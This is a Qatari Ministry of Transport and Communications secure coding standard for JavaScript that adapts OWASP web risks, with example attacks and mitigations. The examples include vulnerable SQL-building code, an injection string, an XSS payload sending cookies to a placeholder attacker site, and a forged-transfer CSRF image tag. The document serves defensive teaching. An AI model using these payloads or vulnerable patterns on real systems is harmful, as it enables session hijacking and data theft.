وزارة المواصلات والاتصالات
MINISTRY OF TRANSPORT AND COMMUNICATIONS

JavaScript Secure Coding Standard

Direction to Support Secure Development Using JavaScript

Title: JavaScript Secure Coding Standard
Version: 1.0
Classification: PUBLIC

Q-CERT

Document Control

Approval

Name	Role	Date of Approval	Version Number
Ashraf Ali-Ismael	NISCF Compliance Manager	08/10/2018	1.0

The coding standard is owned by Ministry of Transport and Communications (MOTC) who shall update as necessary.

DISCLAIMER: The implementation of controls documented within the JavaScript Coding Standard are recommended as part of the State of Qatar's strategy to enhance cyber security.

Risk, particularly in information systems, cannot be completely removed through the implementation of controls. It is for this reason that the implementation of the controls identified within this standard, while required to improve the quality and security of software development activities, cannot substitute effective risk analysis and risk management practices which should continue to be practiced by all Agencies.

Table of Contents

Legal Mandate(s)

Emiri decision No. (8) for the year 2016 sets the mandate for the Ministry of Transport and Communication (hereinafter referred to as "MOTC") provides that MOTC has the authority to supervise, regulate and develop the sectors of Information and Communications Technology (hereinafter "ICT") in the State of Qatar in a manner consistent with the requirements of national development goals, with the objectives to create an environment suitable for fair competition, support the development and stimulate investment in these sectors; to secure and raise efficiency of information and technological infrastructure; to implement and supervise e-government programs; and to promote community awareness of the importance of ICT to improve individual's life and community and build knowledge-based society and digital economy.

Article (22) of Emiri Decision No. 8 of 2016 stipulated the role of the Ministry in protecting the security of the National Critical Information Infrastructure by proposing and issuing policies and standards and ensuring compliance.

This guideline has been prepared taking into consideration current applicable laws of the State of Qatar. In the event that a conflict arises between this document and the laws of Qatar, the latter, shall take precedence. Any such term shall, to that extent be omitted from this Document, and the rest of the document shall stand without affecting the remaining provisions. Amendments in that case shall then be required to ensure compliance with the relevant applicable laws of the State of Qatar.

References

- [IAP-NAT-IAFW] Information Assurance Framework

A glossary of terms is defined within the Information Assurance Framework, [IAP-NAT-IAFW].

Introduction

All modern browsers act as a host environment for JavaScript. Like a web server running PHP or Java, the browser performs the processing and execution of JavaScript on the client side. This allows developers to create modern web applications with rich interaction, animation, and fewer round trips to the server.

JavaScript's loose typing and prototypal inheritance make it different from classical languages, like Java, which can frustrate new JavaScript developers who attempt to force classical patterns over proper JavaScript patterns and who may be faced with inconsistent coding styles.

The rich capabilities and interpretation available within JavaScript solutions provide an opportunity for irregular and inconsistent code structures as well as features that may be abused through malicious code.

This coding standard, as part of the Software Security and Quality Assurance (SSQA) Framework, developed by the Ministry of Transport and Communications (MOTC), provides specific direction for JavaScript developers to help mitigate common threats to JavaScript applications and enhance the quality of code developed using the JavaScript language.

Scope

This standard applies to all Agencies engaged in the development or procurement of software solutions that utilize the JavaScript programming language.

Purpose

This document exists to establish common practices among developers, vendors, sub-contractors, and affiliates that develop JavaScript code for Agency solutions to enable greater collaboration and reuse of code and increase solution quality and security.

Deviation Process

It is acceptable that an organization may be forced to deviate from implementing specific security controls required by the standard on the following grounds:

- **The threat is already suitably mitigated to ensure that residual risk is within the organization's risk tolerance**
  Following completion of a risk assessment, it is determined that risk has been reduced to an acceptable level, or that the resources required for the implementation of controls to reduce risk further would be of greater cost than the impact of the risk occurrence itself.
- **Technical constraints prevent the Implementation of controls**
- The technology environment does not allow for the specific control to be applied and the resource requirement to implement the required control would be of greater cost than the impact of the risk occurrence itself.
- **The control objective is already handled by the program, or the language does not enable the achievement of the control objective**
  Due to differences between development languages and development environments, the ability to implement desired outcomes documented within this coding standard may be prevented or automatically addressed.

In the above cases, the organization should record alternative or compensating controls that have been implemented to mitigate risk to an acceptable level. If alternative or compensating controls are not possible, the organization should record the residual risk and document management acceptance of the risk.

Common Web-Application Risks

The following sections highlight some of the key risks associated with web applications and provides generic information concerning the probabilities and impacts of the risk using the following simple risk rating system:

Attack Vector	Security Weakness Prevalence	Security Weakness Detectability	Technical Impact
Easy	Widespread	Easy	Severe
Average	Common	Average	Moderate
Difficult	Uncommon	Difficult	Minor

Injection

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures and avoiding dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Manual penetration testers can confirm these issues by crafting exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection problems exist. Scanners cannot always reach interpreters and can have difficulty detecting whether an attack was successful.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence COMMON	Detectability EASY	Impact SEVERE	Application/ Business Specific
Almost any source of data can be an injection vector, environment variables, parameters, external and internal web services, and all types of users. Injection flaws occur when an attacker can send hostile data to an interpreter.		Injection flaws are very prevalent, particularly in legacy code. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries. Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection flaws.		Injection can result in data loss, corruption, or disclosure to unauthorized parties, loss of accountability, or denial of access. Injection can sometimes lead to complete host takeover. The business impact depends on the needs of the application and data.	

Table 1: Injection Risk (OWASP Foundation, 2018)

Example Attack

Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call:

```
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
```

Scenario #2: Similarly, an application's blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):

```
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='"
+ request.getParameter("id") + "'");
```

In both cases, the attacker modifies the 'id' parameter value in their browser to send: `' or '1'='1`.

For example:

```
httx://example.com/app/accountView?id=' or '1'='1
```

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.

Mitigation

Preventing injection requires keeping data separate from commands and queries.

- The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping (ORM) Tools.
  Note: Even when parameterized, stored procedures can still introduce SQL injection if PL/SQL or T-SQL concatenates queries and data, or executes hostile data with EXECUTE IMMEDIATE or `exec()`.
- Use positive or "whitelist" server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.
- For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter.
  Note: SQL structure such as table names, column names, and so on cannot be escaped, and thus user-supplied structure names are dangerous. This is a common issue in report-writing software.
- Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL injection.

Cross-Site Scripting (XSS)

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

There are three forms of XSS, usually targeting users' browsers:

- **Reflected XSS**: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim's browser. Typically, the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
- **Stored XSS**: The application or API stores non-sanitized user input that is viewed later by another user or an administrator. Stored XSS is often considered a high or critical risk.
- **DOM XSS**: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence WIDESPREAD	Detectability EASY	Impact MODERATE	Application/ Business Specific
Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks.		XSS is the second most prevalent issue in the OWASP Top 10 and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET.		The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim's browser, such as stealing credentials, sessions, or delivering malware to the victim.	

Table 2: Cross-Site Scripting (XSS) Risk (OWASP Foundation, 2018)

Example Attack

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```
(String) page += "⟨input
name='creditcard'
type='TEXT' value='" +
request.getParameter("CC")
+ "'⟩";
```

The attacker modifies the 'CC' parameter in their browser to:

```
'⟩⟨script⟩document.location=
'httx://www.attacker.com/cgi-
bin/cookie.cgi?foo='+document.cookie⟨/script⟩'
```

This causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.

Note: Attackers can also use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

Mitigation

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:

- Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
- Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities.
- Applying context-sensitive encoding when modifying the browser document on the client-side acts against DOM XSS.
- Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).

Consider consulting the following OWASP's XSS Prevention Cheat Sheet and DOM based XSS Prevention Cheat Sheet for further guidance.

Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users' identities.

Are session management assets like user credentials and session IDs properly protected? You may be vulnerable if:

- User authentication credentials aren't protected when stored using hashing or encryption;
- Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs);
- Session IDs are exposed in the URL (e.g., URL rewriting);
- Session IDs are vulnerable to session fixation attacks;
- Session IDs don't timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren't properly invalidated during logout;
- Session IDs aren't rotated after successful login; or,
- Passwords, session IDs, and other credentials are sent over unencrypted connections.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence WIDESPREAD	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also, consider insiders wanting to disguise their actions.	The attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.	Developers frequently build custom authentication and session management schemes but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, and timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.		Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.	Consider the business value of the affected data or application functions. Also, consider the business impact of public exposure of the vulnerability.

Table 3: Broken Authentication and Session Management Risk (OWASP Foundation, 2017)

Example Attack

Scenario #1: A reservations application supports URL rewriting, putting session IDs in the URL:

```
httx://example.com/sale/saleitems;
jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV
?dest=Hawaii
```

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link, they will use his session and credit card.

Scenario #2: Application's timeouts aren't set properly. User uses a public computer to access site. Instead of selecting "logout" the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3: Insider or external attacker gains access to the system's password database. User passwords are not encrypted, exposing every users' password to the attacker.

Mitigations

The primary recommendation for an organization is to make available to developers:

- A single set of strong authentication and session management controls. Such controls should strive to:
  - meet all the authentication and session management requirements defined in OWASP's Application Security Verification Standard; and,
  - have a simple interface for developers.
- Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs

Consider consulting the following OWASP's Authentication Cheat Sheet for further guidance.

Insecure Direct Object References

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider:

- For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.
- If the reference is an indirect reference, the mapping to the direct reference must be limited to values authorized for the current user.

Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence COMMON	Detectability EASY	Impact MODERATE	Application / Business Specific
Consider the types of users of your system. Do any users have only partial access to certain types of system data?	The attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object the user isn't authorized for. Is access granted?	Applications frequently use the actual name or key of an object when generating web pages. Applications don't always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws and code analysis quickly shows whether authorization is properly verified.		Such flaws can compromise all the data that can be referenced by the parameter. Unless the namespace is sparse, it's easy for an attacker to access all available data of that type.	Consider the business value of the exposed data. Also, consider the business impact of public exposure of the vulnerability.

Table 4: Insecure Direct Object References Risk (OWASP Foundation, 2010)

Example Attack

The application uses unverified data in a SQL call that is accessing account information:

```
String query = "SELECT * FROM accts WHERE account
= ?";
PreparedStatement pstmt =
connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
```

The attacker simply modifies the 'acct' parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user's account, instead of only the intended customer's account.

```
httx://example.com/app/accountInfo?acct=notmyacct
```

Mitigation

Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):

- Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource's database key, a drop-down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application must map the per-user indirect reference back to the actual database key on the server.
- Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.

Cross-Site Request Forgery (CSRF)

A Cross-Site Request Forgery (CSRF) attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim's browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

You should check multi-step transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.

Note: Session cookies, source IP addresses, and other information that is automatically sent by the browser doesn't count since this information is also included in forged requests.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence COMMON	Detectability EASY	Impact MODERATE	Application/ Business Specific
Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your user's access could do this.	The attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds.	CSRF takes advantage of web applications that allow attackers to predict all the details of an action. Since browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones. Detection of CSRF flaws is easy via penetration testing or code analysis.		Attackers can cause victims to change any data the victim can change or perform any function the victim is authorized to use.	Consider the business value of the affected data or application functions. Imagine not being sure if users intended to take these actions. Consider the impact on your reputation.

Table 5 OWASP Top A5: Cross-Site Request Forgery (OWASP Foundation, 2017)

Example Attack

The application allows a user to submit a state-changing request that does not include anything secret. Like so:

```
httx://example.com/app/transferFunds?
amount=1500&destinationAccount=4673243243
```

The attacker constructs a request that will transfer money from the victim's account to their account and then embeds this attack in an image request or iframe stored on various sites under the attacker's control.

```
<img src="httx://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width="0"
height="0" />
```

If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user's session info, inadvertently authorizing the request.

Mitigation

Preventing CSRF requires the inclusion of an unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session but can also be unique per request.

- The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.
- The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.

Security Misconfiguration

Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.

The application might be vulnerable if the application is:

- Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
- Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).
- Default accounts and their passwords still enabled and unchanged.
- Error handling reveals stack traces or other overly informative error messages to users.
- For upgraded systems, latest security features are disabled or not configured securely.
- The security settings in the application servers, application frameworks (e.g. Struts, Spring, and ASP.NET), libraries, databases, etc. not set to secure values.
- The server does not send security headers or directives, or they are not set to secure values.
- The software is out of date or vulnerable.

Without a concerted, repeatable application security configuration process, systems are at a higher risk.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence WIDESPREAD	Detectability EASY	Impact MODERATE	Application / Business Specific
Attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc. to gain unauthorized access or knowledge of the system.		Security misconfiguration can happen at any level of an application stack, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage. Automated scanners are useful for detecting misconfigurations, use of default accounts or configurations, unnecessary services, legacy options, etc.		Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise. The business impact depends on the protection needs of the application and data.	

Table 6: OWASP Top 10– A5: Security Misconfiguration (OWASP Foundation, 2018)

Example Attacks

Scenario #1: Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws, but you don't update your libraries. Until you do, attackers can easily find and exploit these flaws in your app.

Scenario #2: The app server admin console is automatically installed and not removed. Default accounts aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #3: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverse-engineers to get all your custom code. She then finds a serious access control flaw in your application.

Scenario #4: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws.

Mitigation

Secure installation processes should be implemented, including:

- A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, Quality Assurance (QA), and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to setup a new secure environment.
- A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.
- A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process. Review cloud storage permissions (e.g. S3 bucket permissions).
- A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups (Access Control Lists).
- Sending security directives to clients, e.g. Security Headers.
- An automated process to verify the effectiveness of the configurations and settings in all environments.

Insecure Cryptographic Storage

Many web applications do not properly protect sensitive data, such as credit cards, Social Security Numbers (SSNs), and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

The first thing to determine is which data is sensitive enough to require encryption. For example, passwords, credit cards, health records, and personal information should be encrypted. For all such data, ensure:

- It is encrypted everywhere it is stored long term, particularly in backups of this data;
- Only authorized users can access decrypted copies of the data;
- A strong standard encryption algorithm is used; and,
- A strong key is generated, protected from unauthorized access, and key change is planned for.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability DIFFICULT	Prevalence UNCOMMON	Detectability DIFFICULT	Impact SEVERE	Application / Business Specific
Consider the users of your system. Would they like to gain access to protected data they aren't authorized for? What about internal administrators?	Attackers typically don't break the crypto. They break something else, such as find keys, get clear text copies of data, or access data via channels that automatically decrypt.	The most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access.		Failure frequently compromises all data that should have been encrypted. Typically, this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.	Consider the business value of the lost data and impact to your reputation. What is your legal liability if this data is exposed? Also consider the damage to your reputation.

Table 7: Insecure Cryptographic Storage Risk (OWASP Foundation, 2011)

Example Attack

Scenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing an SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front-end web application.

Scenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.

Scenario #3: The password database uses unsalted hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced within a short timeframe, while properly salted hashes would take significantly longer.

Mitigation

For all sensitive data deserving encryption:

- Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.
- Ensure offsite backups are encrypted, but the keys are managed and backed up separately.
- Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place.
- Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.
- Ensure all keys and passwords are protected from unauthorized access.

Failure to Restrict URL Access

Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

The best way to find out if an application has failed to properly restrict URL access is to verify every page. Consider for each page, is the page supposed to be public or private. If a page is private:

- Is authentication required to access that page?
- Is it supposed to be accessible to *any* authenticated user? If not, is an authorization check made to ensure the user has permission to access that page?

External security mechanisms frequently provide authentication and authorization checks for page access. Verify they are properly configured for every page. If code level protection is used, verify that code level protection is in place for every required page.

Penetration testing can also verify whether proper protection is in place.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence UNCOMMON	Detectability AVERAGE	Impact MODERATE	Application / Business Specific
Anyone with network access can send your application a request. Could anonymous users access a private page or regular users a privileged page?	The attacker, who is an authorized system user, simply changes the URL to a privileged page. Is access granted? Anonymous users could access private pages that aren't protected.	Applications are not always protecting page requests properly. Sometimes, URL protection is managed via configuration, and the system is misconfigured. Sometimes, developers must include the proper code checks, and they forget. Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist to attack.		Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.	Consider the business value of the exposed functions and the data they process. Also, consider the impact on your reputation if this vulnerability became public.

Table 8: Failure to Restrict URL Access Risk (OWASP Foundation, 2010)

Example Attack

The attacker simply forces browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the "admin_getappInfo" page.

```
httx://example.com/app/getappInfo
httx://example.com/app/admin_getappInfo
```

If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the "admin_getappInfo" page, this is a flaw and may lead the attacker to more improperly protected admin pages.

Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

Mitigation

Preventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all the following are recommended:

- The authentication and authorization policies be role based, to minimize the effort required to maintain these policies;
- The policies should be highly configurable, to minimize any hard-coded aspects of the policy;
- The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page; and,
- If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

Insufficient Transport Layer Protection

Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

The best way to find out if an application has sufficient transport layer protection is to verify that:

- SSL is used to protect all authentication related traffic.
- SSL is used for all resources on all private pages and services. This protects all data and session tokens that are exchanged. Mixed SSL on a page should be avoided since it causes user warnings in the browser, and may expose the user's session ID.
- Only strong algorithms are supported.
- All session cookies have their 'secure' flag set so the browser never transmits them in the clear.
- The server certificate is legitimate and properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability DIFFICULT	Prevalence COMMON	Detectability EASY	Impact MODERATE	Application / Business Specific
Consider anyone who can monitor the network traffic of your users. If the application is on the internet, who knows how your users access it. Don't forget back-end connections.	Monitoring users' network traffic can be difficult but is sometimes easy. The primary difficulty lies in monitoring the proper network's traffic while users are accessing the vulnerable site.	Applications frequently do not protect network traffic. They may use SSL/TLS during authentication, but not elsewhere, exposing data and session IDs to interception. Expired or improperly configured certificates may also be used. Detecting basic flaws is easy. Just observe the site's network traffic. More subtle flaws require inspecting the design of the application and the server configuration.		Such flaws expose individual users' data and can lead to account theft. If an admin account was compromised, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.	Consider the business value of the data exposed on the communications channel in terms of its confidentiality and integrity needs, and the need to authenticate both participants.

Table 9: Insufficient Transport Layer Protection Risk (OWASP Foundation, 2010)

Example Attack

Scenario #1: A site simply doesn't use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network) and observes an authenticated victim's session cookie. Attacker then replays this cookie and takes over the user's session.

Scenario #2: A site has improperly configured SSL certificate which causes browser warnings for its users. Users must accept such warnings and continue, to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site's customers lures them to a lookalike site which doesn't have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.

Scenario #3: A site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.

Mitigation

Providing proper transport layer protection can affect the site design and it is easiest to require SSL for the entire site, however, for performance reasons, some sites use SSL only on private pages. Others use SSL only on 'critical' pages, but this can expose session IDs and other sensitive data. At a minimum, do all the following:

- Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.
- Set the 'secure' flag on all sensitive cookies.
- Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.
- Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.
- Backend and other connections should also use SSL or other encryption technologies.

Consider consulting OWASP's Transport Layer Protection Cheat Sheet for further guidance.

Unvalidated Redirects and Forwards

Web applications frequently redirect and forward users to other pages and websites and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

The best way to find out if an application has any non-validated redirects or forwards is to:

- Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.
- Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.
- If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence UNCOMMON	Detectability EASY	Impact MODERATE	Application / Business Specific
Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your users use could do this.	Attacker links to non-validated redirect and tricks victims into clicking it. Victims are more likely to click on it since the link is to a valid site. Attacker targets unsafe forward to bypass security checks.	Applications frequently redirect users to other pages or use internal forwards in a similar manner. Sometimes the target page is specified in a non-validated parameter, allowing attackers to choose the destination page.		Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.	Consider the business value of retaining your users' trust. What if they get owned by malware? What if attackers can access internal only functions?

Table 10: Unvalidated Redirects and Forwards Risk (OWASP Foundation, 2013)

Example Attack

Scenario #1: The application has a page called "redirect.jsp" which takes a single parameter named "url".

```
http://www.example.com/redirect.jsp?url=evil.com
```

The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.

Scenario #2: The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful.

```
http://www.example.com/boring.jsp?fwd=admin.jsp
```

In this case, the attacker crafts a URL that will pass the application's access control check and then forward the attacker to an administrative function that she would not normally be able to access.

Mitigation

Safe use of redirects and forwards can be done in a few ways:

- Simply avoid using redirects and forwards.
- If used, don't involve user parameters in calculating the destination. This can usually be done.
- If destination parameters can't be avoided, ensure that the supplied value is valid, and authorized for the user.

It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server-side code translate this mapping to the target URL.

Avoiding such flaws is extremely important as they are a favorite target of phishers trying to gain the user's trust.

Missing Function Level Access Control

Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests to access functionality without proper authorization.

The best way to find out if an application has failed to properly restrict function level access is to verify every application function:

1. Does the UI show navigation to unauthorized functions?
2. Are server-side authentication or authorization checks missing?
3. Are server-side checks done that solely rely on information provided by the attacker?

